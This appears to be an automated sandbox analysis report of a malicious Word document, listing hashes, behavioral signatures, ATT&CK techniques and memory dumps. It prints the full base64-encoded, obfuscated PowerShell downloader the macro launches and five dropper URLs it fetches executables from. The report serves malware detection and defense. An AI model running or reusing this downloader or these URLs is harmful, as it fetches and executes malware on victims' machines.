Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    01-02-2022 05:33

General

  • Target

    7b556613e2f814670e721619781c1327dc6982655beef492a03e8b5449b7782b.doc

  • Size

    180KB

  • MD5

    bf448dd849e38068072e7f242e59a387

  • SHA1

    e70fca9132fd8b82a6409c2cb40b34062634f5e2

  • SHA256

    7b556613e2f814670e721619781c1327dc6982655beef492a03e8b5449b7782b

  • SHA512

    08091b6ee72fb42effb51f72be934dd8f4ca7e01f8c54ef4af12f6437ccfe8a006407d93e4c7240f9dda3bf1a0cda2349329bf2739c89b5bcc6f0575d2482a96

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://animzzz.net/wp-content/I_0f/

exe.dropper

http://apnaoasis.com/wp-content/Y3_iT/

exe.dropper

http://acsboda.com/wp-includes/yn_gp/

exe.dropper

http://congchung.isocial.vn/img/6S_yF/

exe.dropper

http://www.axasta.com/wp-content/T8_Fp/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Sets service image path in registry 2 TTPs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7b556613e2f814670e721619781c1327dc6982655beef492a03e8b5449b7782b.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1216
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
    1⤵
      PID:3220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABoAFoAXwBjAEEAQQA9ACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACAAJwBIAEEAVQAnACwAJwBCADEAJwAsACcAQQBBAEEAJwApADsAJABqAFgAQQBDAFEAVQBfACAAPQAgACcAMQAwADMAJwA7ACQAVwA0AEEAQQBjAEEAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAgACcANAAnACwAJwBuACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnADQAQgAnACwAJwBvAEEAVQAnACkAKQA7ACQAZgBaAFUAQQBBAGsAQQBaAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABqAFgAQQBDAFEAVQBfACsAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwAuAGUAeAAnACwAJwBlACcAKQA7ACQARwBRAFUAQgBrAFgAMQA9ACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACAAJwBHACcALAAnAEQAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAQQBBAFoAJwAsACcARwBBACcAKQApADsAJABvAFoAQQBBAHgAQgBBAFUAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AYABlAFQALgBgAFcARQBCAEMATABpAEUAYABOAHQAOwAkAGYAeAB3AFoAQQBVAEEAYwA9ACgAIgB7ADIANQB9AHsAMQB9AHsAOAB9AHsANAAzAH0AewAxADgAfQB7ADMAOQB9AHsAOQB9AHsAMwB9AHsAMQA5AH0AewAyADQAfQB7ADIAMAB9AHsAMAB9AHsAMwAzAH0AewAxADUAfQB7ADUAfQB7ADQANwB9AHsANAA4AH0AewA0ADEAfQB7ADEANwB9AHsAMQAxAH0AewAyADMAfQB7ADIAMgB9AHsAMQA2AH0AewA3AH0AewA2AH0AewAyADEAfQB7ADMAMgB9AHsAMQAyAH0AewAyADYAfQB7ADQANAB9AHsAMQAzAH0AewAzADgAfQB7ADIANwB9AHsAMgA4AH0AewA1ADAAfQB7ADMANgB9AHsANAAyAH0AewAzADQAfQB7ADQANgB9AHsAMgB9AHsANAAwAH0AewAxADQAfQB7ADQAOQB9AHsANAA1AH0AewAzADEAfQB7ADEAMAB9AHsAMgA5AH0AewAzADcAfQB7ADMAMAB9AHsANAB9AHsAMwA1AH0AIgAtAGYAIAAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwB0AHQAcAA6ACcALAAnAEAAaAAnACkALAAnADAAJwAsACcAZgAvACcAKQAsACcAYQAnACwAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBzAG8AYwAnACwAJwBpAGEAJwAsACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiACAALQBmACAAJwB1ACcALAAnAG4AZwAuAGkAJwAsACcAYwBoACcAKQApACwAJwBwACcALAAnAGUAbgAnACwAJwBvAGEAJwAsACcALwAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAZQBuAHQAJwAsACcAdAAnACkALAAnAG4AJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAdAAvAHcAJwAsACcAZQAnACkALAAnAC4AbgAnACkALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBjAG8AJwAsACcAYQAuACcAKQAsACcAdwBwACcALAAnAHQAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcALwAvAGEAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAYwBzAGIAJwAsACcAbwAnACkAKQAsACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiACAALQBmACAAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAJwBAAGgAdAAnACwAJwBGAC8AJwAsACcAUwBfAHkAJwApACwAJwAvACcALAAnADYAJwApACwAJwBwAG4AYQAnACwAJwBuACcALAAnAG0ALwAnACwAJwB6ACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwB0ACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAC0AYwBvACcALAAnAG4AJwApACkALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcALwBJAF8AJwAsACcAdAAnACkALAAnAFkAJwAsACcAYwBvACcALAAnAC0AJwAsACcAZQBuACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwAvACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAdAB0AHAAOgAvACcALAAnAGgAJwApACkALAAnAHAAJwAsACcAYwAnACwAJwBsACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBtAC8AdwAnACwAJwBwAC0AYwAnACkALAAnAG4AdAAnACwAJwB0ACcALAAoACIAewAyAH0AewAxAH0AewAwAH0AIgAgAC0AZgAgACcAdAAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAQABoACcALAAnAFQALwAnACkALAAnADMAXwBpACcAKQAsACcALwAvAGEAJwAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAIAAnAGgAdAAnACwAJwBwAC8AQAAnACwAJwBnACcAKQAsACcAOgAnACwAJwB0AHAAJwApACwAKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcALwBUADgAXwAnACwAJwB0ACcAKQAsACcAcAAvACcALAAnAEYAJwApACwAKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIAIAAtAGYAIAAnAGUAcwAvACcALAAnAGQAJwAsACcAeQBuACcAKQAsACcAbwAnACwAKAAiAHsAMwB9AHsAMgB9AHsAMQB9AHsAMAB9ACIAIAAtAGYAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAdwBwAC0AaQAnACwAJwBuACcAKQAsACcAbQAvACcALAAnAGMAbwAnACwAJwBkAGEALgAnACkALAAnAHoAegAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGwALgAnACwAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAG4ALwAnACwAJwBpAG0AZwAnACwAJwB2ACcAKQApACwAJwBjAG8AJwAsACcAXwAnACwAJwBpAG0AJwAsACcAOgAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAYQB4ACcALAAnAGEAcwAnACkALAAoACIAewAwAH0AewAxAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwBvAG4AJwAsACcALwAvAGMAJwApACwAJwBnACcAKQAsACcAcwAnACwAJwBpAHMALgAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAdABwADoALwAvACcALAAnAHcAdwAnACkALAAnAHcALgAnACkALAAnAHUAJwApAC4AIgBzAFAATABgAEkAdAAiACgAJwBAACcAKQA7ACQAVQBVAHcAWgBRADEAQQA9ACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBCACcALAAnAGMAQQB3ACcAKQAsACcAQgBfACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGYAQQBCAGsAMQBBAEEANAAgAGkAbgAgACQAZgB4AHcAWgBBAFUAQQBjACkAewB0AHIAeQB7ACQAbwBaAEEAQQB4AEIAQQBVAC4AIgBkAE8AVwBuAGAATABgAG8AYQBEAGAARgBpAGwARQAiACgAJABmAEEAQgBrADEAQQBBADQALAAgACQAZgBaAFUAQQBBAGsAQQBaACkAOwAkAGMAQwBfAEEAVQBDAD0AKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBDAEEAQQAnACwAJwBBACcAKQAsACcAWgAnACwAJwBQAFEAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAGYAWgBVAEEAQQBrAEEAWgApAC4AIgBsAGUAYABOAGAARwBUAEgAIgAgAC0AZwBlACAAMgAwADIAOAAxACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlAC0ASQAnACsAJwB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAGYAWgBVAEEAQQBrAEEAWgA7ACQAVQBBAEEAYwBEAHcAPQAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAQQBRACcALAAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBuACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBVACcALAAnAEEAVQBfACcAKQAsACcAQQAnACkAKQA7AGIAcgBlAGEAawA7ACQAagBYAGMAXwBBAGsAPQAoACIAewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBBAEQAJwAsACcAVQBBACcAKQAsACcAdwBjACcALAAnAEgAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAFoAQgBCAEEAVQA9ACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcARABBAEMAJwAsACcAQQAnACkALAAnAFoAYwAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1796
    • C:\Windows\System32\WaaSMedicAgent.exe
      C:\Windows\System32\WaaSMedicAgent.exe e1ecf71040ef45d03f1ea720a121e96e NZEgRxQceUqaoGTnPodVoA.0.1.0.0.0
      1⤵
      • Modifies data under HKEY_USERS
      PID:1656

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1216-210-0x00007FF916630000-0x00007FF916640000-memory.dmp
      Filesize

      64KB

    • memory/1216-130-0x00007FF916630000-0x00007FF916640000-memory.dmp
      Filesize

      64KB

    • memory/1216-131-0x00007FF916630000-0x00007FF916640000-memory.dmp
      Filesize

      64KB

    • memory/1216-133-0x00007FF916630000-0x00007FF916640000-memory.dmp
      Filesize

      64KB

    • memory/1216-144-0x00000280B7CB0000-0x00000280B7CB4000-memory.dmp
      Filesize

      16KB

    • memory/1216-137-0x00007FF913DE0000-0x00007FF913DF0000-memory.dmp
      Filesize

      64KB

    • memory/1216-132-0x00007FF916630000-0x00007FF916640000-memory.dmp
      Filesize

      64KB

    • memory/1216-138-0x00007FF913DE0000-0x00007FF913DF0000-memory.dmp
      Filesize

      64KB

    • memory/1216-134-0x00007FF916630000-0x00007FF916640000-memory.dmp
      Filesize

      64KB

    • memory/1216-212-0x00007FF916630000-0x00007FF916640000-memory.dmp
      Filesize

      64KB

    • memory/1216-213-0x00007FF916630000-0x00007FF916640000-memory.dmp
      Filesize

      64KB

    • memory/1216-211-0x00007FF916630000-0x00007FF916640000-memory.dmp
      Filesize

      64KB

    • memory/1796-155-0x00000190F1930000-0x00000190F1952000-memory.dmp
      Filesize

      136KB

    • memory/1796-161-0x00000190D9780000-0x00000190F1930000-memory.dmp
      Filesize

      385.7MB

    • memory/1796-158-0x00000190D9780000-0x00000190F1930000-memory.dmp
      Filesize

      385.7MB

    • memory/1796-156-0x00000190D9780000-0x00000190F1930000-memory.dmp
      Filesize

      385.7MB